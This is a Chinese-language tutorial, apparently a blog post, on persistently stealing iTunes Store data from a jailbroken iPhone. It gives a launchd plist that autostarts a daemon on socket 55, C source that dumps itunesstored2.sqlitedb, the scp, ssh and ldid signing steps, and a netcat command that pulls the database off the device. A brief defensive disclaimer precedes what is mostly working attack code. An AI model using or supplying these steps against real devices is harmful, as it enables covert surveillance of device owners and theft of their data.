後台daemon非法竊取使用者iTunesstore資訊
本人鄭重聲明:並不鼓勵竊取使用者隱私等行為,一切hack學習都只是為了研究如何防禦。OK,進入正題。
開機自啟動
在iOS安全攻防(一):Hack必備的命令與工具中,介紹了如何編譯自己的C程式並手動啟動。今天介紹如何使程式變為開機自啟動。
1.首先開啟Xcode建立一個plist屬性檔案,如所示:
其中要注意一下通訊服務名,我定為55。用編輯器開啟,即為:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Program</key><string>/usr/bin/ncdemo</string><key>StandardErrorPath</key><string>/dev/null</string><key>SessionCreate</key><true/><key>ProgramArguments</key><array><string>/usr/bin/ncdemo</string></array><key>inetdCompatibility</key><dict><key>Wait</key><false/></dict><key>Sockets</key><dict><key>Listeners</key><dict><key>SockServiceName</key><string>55</string></dict></dict></dict></plist>
最後,將plist檔案 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .
編寫讀取iTunesstore資料庫程式
讀取itunesstored2.sqlitedb資訊,並輸出到stdout中,便於我們讀取。
#include <stdio.h>#include <fcntl.h>#include <stdlib.h>#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"int main(){ int fd = open(FILE, O_RDONLY); char buf[128]; int ret = 0; if(fd < 0) return -1; while (( ret = read(fd, buf, sizeof(buf))) > 0){ write( fileno(stdout), buf, ret); } close(fd); return 0;}
編譯、拷貝、簽名
1.編譯方法上篇文章已經介紹清楚,這裡不再重複,直接¥%¥#%¥……%# 產生運行在ARM的 ncdemo
2.將ncdemo scp 到裝置中,並登入
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
3.簽名
#ldid -S ncdemo
#mv ncdemo /usr/bin
抓取 iTunesstore 資料資訊
這時,我們只需要利用netcat,指定之前定義的服務名稱,輕鬆在本地抓取裝置 iTunesstore 資訊.
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
分析 iTunesstore 資料資訊
好吧,這裡就介紹個最簡單的應用,利用string命令查看:
$ strings itunesstored2.sqlitedb
於是乎,我們就清晰的得到了iPhone /iPad 裝置上都安裝了哪些app :
當然,除了這些,你想幹什麼都可以……夜深了,先寫到這裡吧……